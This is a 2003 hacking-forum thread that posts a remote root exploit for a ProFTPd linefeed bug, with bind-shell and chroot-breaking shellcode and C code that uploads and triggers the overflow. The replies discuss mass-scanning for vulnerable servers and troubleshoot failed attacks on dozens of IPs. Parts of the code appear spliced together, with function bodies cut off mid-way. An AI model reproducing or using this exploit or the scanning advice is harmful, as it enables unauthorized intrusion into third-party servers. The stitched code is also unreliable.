This exploit builds on the work of bkbll to create a working, brute-force remote exploit for the \n procesing bug in ProFTPd.
Tested on SuSE 8.0, 8.1 and RedHat 7.2/8.0 it works quite well... the RedHat boxes worked on stack addresses in the 0xbffff2xx region; the SuSE boxes were somewhat earlier in the stack space - around 0xbfffe8xx.
This is the only public version you'll see from Haggis@Doris - but it is very likely that more powerful private versions will be coded.
At present, this exploit breaks chroot (if any) and spawns a shell bound to port 4660.
-U incoming specifies that the exploit will attempt to create an 'incoming' directory on the remote ftp server and work inside that. Without it, the shell- code will probably not work properly. You have been warned!
It is possible to use other credentials for logging in to remote servers; anonymous is the default.
----------
Big greets to all in #cheese on Doris (SSL only: doris.scriptkiddie.net:6969).
Special thanks to B-r00t for testing and pointing out a segfault, flame for letting me r00t his RedHat 8 box and everyone else for their input.
// fork() - parent terminates, killing proftpd and ending FTP // session. This leaves the child process as a daemon... "\x31\xc0\xb0\x02\xcd\x80\x89\xc3\x85\xdb\x74\x08\x31" "\xdb\x31\xc0\xb0\x01\xcd\x80"
// Finally, bind a shell to port 4660. // This is a hacked version of the bindshell code by BigHawk. "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80" "\x89\xc7\x52\x66\x68\x12\x34\x43\x66\x53\x89\xe1\xb0\x10\x50\x51" "\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57" "\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80" "\x41\xe2\xf8\x51\x68\x2e\x2f\x61\x61\x89\xe3\x51\x53\x89\xe1\xb0" "\x0b\xcd\x80";
int controlSock, passiveSock; int currentPassivePort=32769; int currentServerPort=31337; int exploitBufLen; int attemptNumber=0; int ftpPort=FTP_PORT; unsigned int stackWriteAddr, retAddr; char serverBuf[SIZE]; char exploitBuf[EXPLOIT_BUF_SIZE]; char uploadPath[SIZE]=""; char filename[SIZE*2]; char *server=NULL; char *user=DEFAULT_USER; char *pass=DEFAULT_PASS; char *localIP=NULL; char errorBuf[SIZE];
int connect_to_server(int port); int login_to_server(); int set_passive_mode(int mode); int set_ascii_mode(); int set_path_and_filename(); int check_for_linefeed(); int check_status(); int create_passive_server(); int create_exploit_buffer(); int upload_file(); int download_file(int mode); void usage(char *s); int do_remote_shell(int shellSock); void status_bar(char *info); int timeout_accept(int s, struct sockaddr *sa, int *f); void my_send(int s, char *b, ...); void my_recv(int s); void my_sleep(int n); void doris_chroot_breaker();
int main(int argc,char **argv) { int sleepMode=0; char c; unsigned int stackStartAddr=STACK_START;
if(argc<2) usage(argv[0]); while((c = getopt(argc, argv, "t:u:p:l:U:sP:S:"))!= EOF) { switch (c) { case 't': server=optarg; break; case 'u': user=optarg; break; case 'p': pass=optarg; break; case 'l': localIP=optarg; break; case 's': sleepMode=1; break; case 'U': strncpy(uploadPath,optarg,SIZE); break; case 'P': ftpPort=atoi(optarg); break; case 'S': stackStartAddr=strtoul(optarg, NULL, 16); break; default: usage(argv[0]); return 1; } } if(server==NULL || localIP==NULL) usage(argv[0]);
// Connect again, then login, set ASCII mode and download the exploit file. // This will trigger the overflow; as a result, we've // corrupted the memory pool of this session and when we // download the file again, the stack area will be overwritten // and we control the saved EIP.
if((controlSock=connect_to_server(ftpPort))<0) { perror("\nFailed to connect to remote host\n"); exit(1); }
// Finally, read the file again. This will trigger the stack // overwrite (NOT the overflow, that happened earlier). We could // control EIP at this point and r00t may be only heartbeat away...
int download_file(int mode) { int len, localServerSock, dataSock, bindShellSock; struct sockaddr_in localServer;
status_bar("Downloading"); // Ask the victim server to send us the exploit file my_send(controlSock, "RETR %s\r\n", filename);
// Create a listening server on our passive port to // receive the data memset(&localServer,0,sizeof(localServer)); localServerSock=create_passive_server(); len=sizeof(localServer);
// Wait for a few seconds for the victim server to contact us... if((dataSock=timeout_accept(localServerSock,(struct sockaddr *)&localServer,&len))<0) { close(localServerSock); return FAILURE; }
// If the mode is EXPLOIT_DOWNLOAD, then this is the // second attempt at downloading... that means we might // have a shell waiting for us on the victim server, so // we try to connect to it if(mode==EXPLOIT_DOWNLOAD) { if((bindShellSock=connect_to_server(BINDSHELL_PORT))>=0) { printf("\nConnected! You are r00t...\n"); do_remote_shell(bindShellSock); printf("\nDid you have a nice time?\n"); exit(0); } close(dataSock); close(localServerSock); return SUCCESS; } // If the mode is NORMAL_DOWNLOAD, then just clean up the // connection by receiving the file from the server; closing // the data and local server sockets, then read the confirmation // message from the control socket my_recv(dataSock); close(dataSock); close(localServerSock); my_recv(controlSock); return check_status(); }
int timeout_accept(int s, struct sockaddr *sa, int *f) { fd_set fdset; struct timeval timeout = { ACCEPT_TIMEOUT, 0 }; // seconds int result;
// open up the data channel if((dataSock=connect_to_server(currentServerPort))==FAILURE) return FAILURE;
// tell server we're gonna send some shiznitz my_send(controlSock, "STOR %s\r\n", filename); my_recv(controlSock); if(check_status()==FAILURE) { close(dataSock); return FAILURE; }
// send the exploit file to the victim server send(dataSock, exploitBuf, exploitBufLen, 0); close(dataSock);
// make sure all went well my_recv(controlSock); if(check_status()==FAILURE) return FAILURE; return SUCCESS; }
int create_exploit_buffer() { int i; char buf[41]; unsigned int writeaddr=stackWriteAddr; unsigned int *ptr=(unsigned int *)(exploitBuf+3); unsigned int dummy=0x11111111; FILE *fp;
for(i=0;i<96;i++) { memset(buf,0,41); if(dummy==0x1111112e) // this sets session.d->outstrm to NULL which forces an early return // avoids crashing proftpd... on SuSE 8.0 anywayz... memcpy(buf,"\n\n\n\n\n\n\n\n\x00\x00\x00\x00\n\n\n\n\n\n\n\n",20); else if(dummy==0x11111166) // this is the same thing tailored for RH7.2 memcpy(buf,"\n\n\n\n\n\n\n\n\x72\x00\x00\x00\x00\n\n\n\n\n\n\n",20); else memset(buf,'\n',20);
// i used these dummy values to find the correct spot for // the session.d->outstrm pointer *(unsigned int *)(buf+20)=dummy; *(unsigned int *)(buf+24)=dummy; *(unsigned int *)(buf+28)=dummy;
// this will become the address of an available chunk of memory // that is returned by new_block() in pool.c *(unsigned int *)(buf+32)=writeaddr;
// this is what will be returned by palloc() in pool.c // palloc() is the function that calls new_block() and // provides the allocation interface for the pools system. *(unsigned int *)(buf+36)=writeaddr;
// Wrapper for nanosleep()... just pass 'n' nanoseconds to it. void my_sleep(int n) { struct timespec t;
t.tv_sec=0; t.tv_nsec=n; nanosleep(&t,&t); }
Enjoy
akusot
Oct 14 2003, 05:52 PM
is there any proftpd mass scanner ?
MxMx
Oct 15 2003, 05:17 AM
first scan for port 21 .. than download a banner scanner .. which will check if one of your scans is ''running'' ProFTPD .. I dont't have to explain more I think
cartman
Oct 15 2003, 10:14 AM
I use Scan500 to find port 21 listening, but i don't have a banner scanner commandline ? Somebody have a good cmd line banner scanner ?????
Johny
Oct 15 2003, 11:31 AM
fscan is good commandline portscanner, that also has an option to report banner
maxillo
Oct 15 2003, 05:03 PM
I tried to hack about 50 ips and it doesn't hack anything.
Anyone has hacked a box with this exploit?
agopsi
Oct 15 2003, 09:08 PM
Are you sure proftp version is correct?and your local ip is correct,but remember not your local ip 127.0.0.1;))) or 192.168.0.1 must be your remote ip ))
maxillo
Oct 16 2003, 03:01 PM
Yes, I put the remote ip. Wich options do you use? ./exploit -t (victim) -l (your_ip) -U /incoming ?
BSDG33K
Oct 16 2003, 04:55 PM
i've got the same prob, i have an proftpd running on my box, and i hae tried to exploit it, but no success :\ my server box is runing Redhat 8.0, and the upload directory is all them filled with text files.. but i dont have remote shell, what happen?
ahh, my server is running proftpd 1.2.9rc2
The watcher
Oct 18 2003, 05:49 PM
any one compiled it ?
thx for sharing the code
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.